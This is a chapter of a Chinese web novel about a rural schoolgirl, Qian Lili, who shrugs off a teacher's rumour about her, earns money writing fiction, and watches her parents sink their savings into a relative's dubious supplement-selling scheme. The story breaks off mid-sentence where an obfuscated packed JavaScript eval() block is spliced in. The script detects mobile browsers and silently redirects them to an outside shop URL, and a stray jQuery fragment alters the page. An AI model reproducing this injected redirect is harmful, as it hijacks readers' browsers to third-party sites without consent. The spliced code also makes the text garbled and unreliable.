15. 择校谣言
    钱莉莉很惊讶,脱口而出:“您怎么知道?”

    万老师神色凝重:“你真去了?”

    钱莉莉这下意识到出问题了,便把中秋节后开学那天的事情跟万老师一五一十的说了一遍,最后问:“万老师,我跟初中同学一起去买件衣服也不行吗?”

    她的语气里带上了不满,万老师却松了一口气:“那就没事了,你回去好好上课吧。”

    这事儿对钱莉莉没有直接伤害,但是让她感觉很不舒服。

    当然她还有更重要的事要做,不痛快了一下就把事情抛诸脑后了。

    “是我们历史老师说的。”陈旭接过了钱莉莉给他的一百块钱,一边记账一边说,“你是有空都写稿了吧,不知道这事儿,传得挺热闹的。”

    钱莉莉拧着眉问:“你怎么知道的?”

    陈旭说起这个,脸色也不大好看:“他在课上说的,说现在十九中早就不是吴下阿蒙了,你原本也是有疑虑的,在这儿上了几个星期的课,又去一中考察了一番,最后还是选择回来……”

    “你们历史老师是谁啊?”钱莉莉找到了问题的源头,却还是一头雾水,“我招他惹他了?”

    现在是杜校长大干一场的关键时刻,钱莉莉虽然只是一个微不足道的学生,撼动不了什么大势,可是如果她真做了这样的表示,无疑是打杜校长的脸,接下来只怕会有些麻烦。

    当然,在这个一切围绕高考、以高考分数定生死的时代,她只要分数够高,也就不会怎么样,然而这些莫名其妙的流言蜚语也挺讨厌的,谁知道会不会引来老师们的警惕疏远和同学们的敬而远之、私下议论——如果她只是十五岁的年纪,怕是要抑郁。

    许是生意人家传的处事之道,陈旭向来不说人坏话,这次却难得的刻薄:“呵,你连他是哪个老登都不知道,能怎么惹他?他自己想拍校长的马屁呗!”

    钱莉莉微微睁大了眼睛,第一次见他这样,感觉还挺新鲜的:“我都没生气呢,你气什么?不值得。而且你要这么说的话,我们万老师才最冤枉,没准儿上头会觉得是他没做好我的思想工作或者没教好呢。”

    陈旭看着她含笑的眉眼,只觉得心里挺堵的,可是又想不出是为什么,便有些闷闷的说:“我才没生气呢,就是看不上他那副做派,还大老爷们儿呢,还历史组长呢,什么玩意儿啊。你们班老万是挺苦逼的,听说去校长那儿说明情况都说了两回了。”

    “不是,你怎么什么都知道啊?”钱莉莉哭笑不得,“那万老师后来自证清白了没啊?”

    陈旭见她好像真不生气,只觉得自己较劲没意思,也缓和了些:“谁知道啊,反正表面上是没事儿了。他这个数学组长还是挺有两把刷子的,以前生源那么差,他都教出过高考120以上的,平均分都能考90多,学校那边不会为难他。我呢就是人缘好,招老师喜欢,这才几天啊,我们班主任跟我就是铁哥们儿,无话不谈!”

    他说着,语气也轻快起来,又成了钱莉莉熟悉的样子。

    钱莉莉笑了笑:“谢谢你啊,要不然我真的蒙在鼓里呢。这事儿我追究不了,没凭没据的,关键是都过去那么多天了,错过了解释的最佳时间。而且,你说我去向谁解释啊。就算我去找校长,也改变不了什么,反而把‘十九中不如一中’这样的话题再翻腾起来,校长就该更不高兴了。”

    陈旭想了想,觉得她说得有道理,只是还是替她觉得憋屈:“这太委屈你了。”

    “不委屈啊。被亲人朋友冤枉了会委屈,可我连他是……啊,哪个老登,都不认识,他说我我才不委屈呢。”钱莉莉摆摆手,“要是他教我,整节课都得对着他的脸,我可能会烦,现在他只教你们几个班,我平常根本见不到这号人,怕什么?要说别人议论,嘴长在别人身上,谁爱说谁说呗,他们说我,起码表明我挺出名的,不是吗?”

    陈旭默了默,佩服道:“你心态倒是好。”

    “为什么不好?心情不好了影响我写文,那就影响我的收入,接着影响我的伙食,然后影响我的学习效率,最后倒霉的不是我吗?这多亏啊!”钱莉莉掰着指头盘算,“和烂人烂事纠缠才是最亏的!我先走了,过一阵收到稿费再找你。”

    这事儿和直接被分进十九中的事儿还不一样,当初她觉得真切的愤怒、无力,这次不过是被苍蝇跟了一路十分烦人罢了。

    不是不想去找这位信口开河的历史老师对质,也不是不想查出究竟是谁最先编排了自己,可是这些对于现在的钱莉莉来说太难了,难到不那么重要。她便决定不要这个老师可以预见的口不应心、毫无诚意的澄清和道歉,而是专注于自己的学业和赚钱大计。

    显然这样的专注是很有成果的。直到高一结束,几次期中、期末考试,她都稳稳的坐在学校第一名的宝座上——但是比不过一中的第一名。

    “这个结果,我心里有准备。要是能轻轻松松就被超过,一中也不能当那么多年的老牌高中了。”钱莉莉说不上失望,只是有一点儿遗憾,“反正我已经尽了最大努力。”

    陈旭上了高中,比以前要用功很多,成绩也一直稳居年级前十名,还进过一次前三呢。他跟钱莉莉对账:“你放在我那儿的钱已经有一千六了,你记的数是不是?”

    说到这个,钱莉莉更高兴:“是呢,我记着是这么多。”

    “那你往后还写吗?高二就更忙了。”陈旭看着她,“你看你瘦得,跟个麻杆似的。”

    钱莉莉却说:“写啊,怎么不写的,从今年开始,我就不跟家里要钱了,所有的开销全都从这里头出,肯定得写。功课再忙也不差这点儿时间,就当休息,换脑子了。”

    “你家里……”陈旭刚开口,就觉得有点儿冒昧,便住了嘴。

    钱莉莉摇头:“没事儿,家里条件不好,农村的多数都这样,我爸又借了些钱给别人,手头就紧了。”

    说到这个,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461746|141756||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她就窝火得很。

    好不容易拆穿了老王的骗局,没想到她两个月没回家,暑假一到家就听说钱钢把家里所有的钱都拿给了大姑父,让大姑父带着做生意。

    她一打听,什么保健品生意啊,农村有几家吃保健品的?根本就是犯法的那种什么销!可是爸妈已经被大姑父画出来的大饼迷了心窍,她说什么都听不进去,只一个劲儿的想办法抠钱去进货。

    这东西就是无底洞,“指望这个发财?倾家荡产还差不多!”她急了,“真这么缺钱,把树卖了存银行收利息也比让他们骗了强!”

    “臭丫头上了几天学了不起啊!家里不好了你能有什么好?怎么着,恐怕少了你上大学的钱是吧?你还没考上大学呢!我看你就是惦记那几棵树!我告诉你,那树一分钱都没有你的!”对这个“生意”,刘秀云比钱钢更上心,甚至跟早年一直不合的小姑子都冰释前嫌了,听到钱莉莉的话,自然跳脚。

    钱钢也说:“莉莉没在家,不知道,你大姑父跟老王不一样,都是一家人,他最敬重我这个大哥了,绝对不会坑咱!这个项目是人家大公司专门拓展咱们农村市场才推出的,就是带领农民共同致富的,这么好的事儿怎么能是糊弄人呢?”

    “这么好的事儿怎么就掉到咱家头上了呢?”钱莉莉知道不值得生气,可还是抑制不住的心脏狂跳,手都颤抖起来,“你们忙活半天卖出去了多少?挣了多少钱?”

    钱钢摇头:“你有这个小心劲儿是好事,省得以后吃亏,不过家里这个买卖你放心,等公司的那叫什么来着,销售网络,建好了,电视上广告一做,价钱接着就涨上去了,到时候想买的人根本就抢不到!再说了,也不全是投进去的,还有一万块钱,是你姑他们借咱家的。”

    中毒太深,几句话是救不过来的,钱莉莉放弃了,只说:“你们可以不管我的死活,可是别忘了成才,别少了他的学费就好。还有,我以后就不回家了,有事你们就给学校打电话,或者让村里别人给我捎信儿。”

    他们是没有真正的暑假的,七月中旬就开了学,暑期补课刷题,另外还有一个很重要的事情要做,那就是文理分科。这段时间比较混乱,要经过不少调整,甚至要打散一些班级重新分班,现在进行,调整磨合好了,九月份直接开始进行高二的课程,一天都不耽误。

    大部分学生很容易分得出文理偏向,但是钱莉莉这里,老师们就有些为难了。她的情况稍微有点儿特殊——她的每一门功课都很不错,至少分数上看不出明显的差别,从高考分数最大化这个角度来考虑,她文理都行。从个人意愿考虑……这个年代的农村高中生,只考虑能不能考上大学,考更高的分数,个人的喜好不在考虑之中。

    她也没有第一时间上报志愿,因为她还有一个事情要忙,她连载了几个月的小说完结之后,有一家公司联系到了她,希望能改编成广播剧,现在正在邮寄合同。这一笔谈成,她能拿到三千块钱!